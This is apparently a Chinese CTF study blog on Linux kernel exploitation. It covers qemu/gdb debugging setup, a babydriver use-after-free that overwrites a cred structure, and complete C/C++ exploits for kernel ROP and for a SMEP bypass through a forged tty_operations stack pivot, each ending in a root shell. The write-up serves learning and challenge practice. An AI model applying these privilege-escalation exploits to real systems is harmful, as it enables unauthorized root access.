开始玩kernel系列,写下记录

kernel UAF

由于是第一道kernel,所以加一些环境相关的记录。

  • 由于kernel pwn题一般会提供一个 boot.sh ,也就是启动脚本,并且大多使用qemu来起系统,所以qemu必须得有。
  • 其次,调试的时候也需要有gdb,gdb也得装。
  • 单纯的gdb可能不太好用,这时需要装一个gef插件『调内核这个相对好用一些』

pwn题所给的文件除了启动文件后一般还会有一个内核压缩文件(bzImage),如果本地下载/编译过linux kernel,在源码文件夹的scriptes目录会有这样一个脚本(路径:linux-4.4.72/scripts/extract-vmlinux
),使用该脚本可将bzImage解压成vmlinux(./extract-vmlinux bzImage > ./vmlinux),如果vmlinux中有符号表的话就可以带符号表调试kernel了(gdb -q ./vmlinux)

除了上述的两个文件外一般还会带有一个文件系统的压缩文件,rootfs.cpio(可能也有别的压缩形式)
对于cpio包,可以用『cpio -idmv < ./initramfs.img』解包(ps:注意这个文件到底是不是cpio文件,如果是gz文件需要 gunzip xxx.cpio.gz先解压),注意建议在空目录下执行,可以用『find . | cpio -o –format=newc > ../rootfs.cpio』在该目录下重新打包
解包后的文件夹内可以看到一个init文件,该文件会于系统启动后自动执行,一般情况下会在init文件内发现有内核模块挂载行为(insmod /lib/modules/4.4.72/babydriver.ko),大多数情况下这个内核模块就是我们需要分析的文件。
根据有问题的驱动模块写好的exp脚本可以放在上述文件夹内一起打包成文件镜像,之后可以在系统起起来后执行

调试相关

  • 用『boot.sh』文件起系统
  • 在跑起来的系统内执行『cat /proc/modules』可以看到所有加载了的内核模块,找到我们分析的模块并记下加载地址
  • 有vmlinux的时候可以『gdb -q ./vmlinux』先起gdb
  • gdb起来后建议先设置相关设置『set architecture i386:x86-64:intel』
  • 连接上qemu启动起来的系统『target remote :1234』(注意需要在boot.sh中加入-s参数用于开启调试,并且需要注意端口是否一致)
  • 使用gdb从拿到的内核模块文件读取符号表,gdb内执行『add-symbol-file ./babydriver.ko 0xffffffffc0000000』,最后的那个地址就是之前所记录下的内核加载地址
  • 完成后便可以在函数处下断点以及执行exp了(例:b babyioctl)

wiki上这类型题只有一道,难度也不是很大,简单谈一下自己的理解

  • 首先从open和release函数可以看到对模块打开和关闭的时候会操作一块内存『device_buf』,open的时候还会记录device_buf的大小『device_buf_len』。
  • 利用ioctl函数可以重新申请『device_buf』这块内存,并且大小可控
  • 看完各个功能模块后需要思考一个问题,对模块进行打开和关闭的时候只是会重置『babydev_struct』结构体中的一个指针和一个记录内存大小的值。那么,这个结构体存在哪儿呢?在ida中跟随结构体实例可以发现他的位置在ko文件的『.bss』段,但整个ko文件会在系统启动后的第一时间整体加载到内存中(init文件)。这便意味着整个结构体可以复用,即同时两次open该模块,对其中一个文件指针做出的各种改变也会同步到另一个文件指针中。
  • 看懂上述操作后就可以整理思路来,既然结构体实例是复用的,那么两次open后再free掉一个,就可以构成一个UAF(free时会释放device_buf)
  • 有漏洞后思考如何利用漏洞做事,内核漏洞一般提权用(毕竟都能执行exp了肯定有普通用户权限)。内核中有一个结构体『cred 结构体』,内核通过该结构体中的数据判断相关权限等

4.4.72的cred结构体定义如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

那便可以通过ioctl将一个设备的device_buf大小改为该结构体的大小,然后通过fork创建出一个子线程,子线程在创建的时候会自动申请一个 cred 结构体,又因为刚才释放过一个相同大小的内存空间,则会将该内存拿过来直接用。这样便可以通过另一个打开的设备指针对该空间进行读写,全改0就ok。
wiki上也有exp,这里就只谈理解了。

kernel ROP

这篇也搞懂了,搞懂之后发现内核也是挺好玩的。

内核rop的利用过程大致就是:

  • 找commit_creds和prepare_kernel_cred地址->
  • 找可利用的gadget地址->
  • 保存cs、ss、rsp、rflags信息用于从内核态返回用户态起shell->
  • 构造rop,利用内核栈溢出进行调用commit_creds(prepare_kernel_cred(0))提权,并于提权成功后调用swapgs; iretq返回用户态起shell

整体来说,栈布局应如下:
图片.png

脚本有借鉴wiki上的成分
编译:g++ -o a -static -masm=intel a.cpp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <iostream>
#include <fstream>
#include <string>
using namespace std;


size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

void getshell()
{
if(!getuid())
system("/bin/sh");
else
puts("[-] getshell error");
}

int main(int argc, char const *argv[])
{
save_status();
size_t commit_creds=0, prepare_kernel_cred=0;
string getlines1;
ifstream fd1("/tmp/kallsyms");
if(fd1.is_open()) {
while(!fd1.eof()) {
if(commit_creds && prepare_kernel_cred)
break;

getline(fd1, getlines1);
if(!commit_creds && getlines1.find("commit_creds")!=getlines1.npos) {
char num[16];
getlines1.copy(num, 16, 0);
sscanf(num, "%llx", &commit_creds);
}
if(!prepare_kernel_cred && getlines1.find("prepare_kernel_cred")!=getlines1.npos) {
char num[16];
getlines1.copy(num, 16, 0);
sscanf(num, "%llx", &prepare_kernel_cred);
}
}
}
size_t vmlinux_base = commit_creds - 0xffffffff8109c8e0; // the commit_creds offset in vmlinux

cout << hex;
cout << "[+] vmlinux base => " << vmlinux_base << endl;
cout << "[+] commit_creds => " << commit_creds << endl;
cout << "[+] prepare_kernel_cred => " << prepare_kernel_cred << endl;

int fd = open("/proc/core", O_RDWR);
ioctl(fd, 0x6677889C, 0x40); // set off

char canary_array[64];
ioctl(fd, 0x6677889B, canary_array); // get canary
size_t canary = ((size_t*)canary_array)[0];
cout << "[+] canary => " << canary << endl;

size_t rop[0x100];
int i;
for(i=0; i<10; i++) {
rop[i]=canary;
}
rop[i++] = 0xffffffff81000b2f+vmlinux_base; // pop rdi; ret;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff81021e53+vmlinux_base; // pop rcx; ret;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff811ae978+vmlinux_base; // mov rdi, rax; jmp rcx;
rop[i++] = 0xffffffff81a012da+vmlinux_base; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2+vmlinux_base; // iretq; ret;
rop[i++] = (size_t)getshell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
ioctl(fd, 0x6677889A, 0xffffffffffff0000|(0x100));

return 0;
}

最后0xffffffffffff0000|(0x100)这个数字对于有符号数来说是个负数。

kernel ret2usr

ret2usr的提权是利用了用户态的代码,在内核态调用用户态代码,这样的话就不用费心思去找gadget了(找的少了),直接改ROP的代码就可以用
我在写提权函数的时候需要强制转换类型,不然编译过不去

1
2
3
4
5
6
7
void getroot()
{
char* (*pkc)(int) = (char* (*)(int))prepare_kernel_cred;
void (*cc)(char*) = (void (*)(char*))commit_creds;

(*cc)((*pkc)(0));
}

bypass-smep

学到很多的一道题

  • smep和smap是通过cr4寄存器来设置的,意味着只要可以ROP就能关掉
  • 两个结构体就不说了,获取结构体大小可以通过编译相同版本的vmlinux来看(待测试)
  • tty_operations中构造mov rsp, rax的原因是在执行其中write指针时,rax中保存着tty_operations结构体首地址,这一点可通过将write指针写为内核模块函数地址,并在内核模块函数处下断验证
  • gdb调试时可以通过file 文件名来切换用户态和内核态调试过程(切换用户态时用户态程序最好在运行中,getchar)

rop构造就没啥好说的了,基本就这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/ioctl.h>

size_t user_cs, user_rflags, user_sp, user_ss;
size_t commit_creds = 0xffffffff810a1420, prepare_kernel_cred = 0xffffffff810a1810;
size_t vm_base;

void get_shell()
{
if (!getuid())
system("/bin/sh");
}

void get_root()
{
char *(*pkc)(int) = prepare_kernel_cred;
void (*cc)(char *) = commit_creds;
(*cc)((*pkc)(0));
}

int main(int argc, char const *argv[])
{
__asm__(
"mov user_cs, cs;"
"pushf;"
"pop user_rflags;"
"mov user_sp, rsp;"
"mov user_ss, ss;");
perror("[*] save status");

int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

ioctl(fd1, 65537, 0x2e0);
close(fd2);

int fd3 = open("/dev/ptmx", 2 | O_NOCTTY);

size_t dump[4];
read(fd1, dump, 32);
printf("%p\n", dump[3]);

size_t rop[] = {
0xffffffff810d238d, // pop rdi; ret
0x6f0,
0xffffffff81004d80, // mov cr4, rdi ; pop rbp ; ret
0,
(size_t)get_root,
0xffffffff81063694, // swapgs; pop rbp; ret;
0,
0xffffffff814e35ef, // iretq
(size_t)get_shell,
user_cs,
user_rflags,
user_sp,
user_ss
};

size_t fake_tty_operation[36];
for (int i = 0; i < 36; i++)
fake_tty_operation[i] = 0xffffffff8181bfc5; // mov rsp,rax; dec ebx; jmp <error_entry+0x5e>

fake_tty_operation[0] = 0xffffffff8100ce6e; // pop rax
fake_tty_operation[1] = (size_t)rop;

dump[3] = (size_t)fake_tty_operation;
write(fd1, dump, 32);

getchar();
write(fd3, dump, 32);

return 0;
}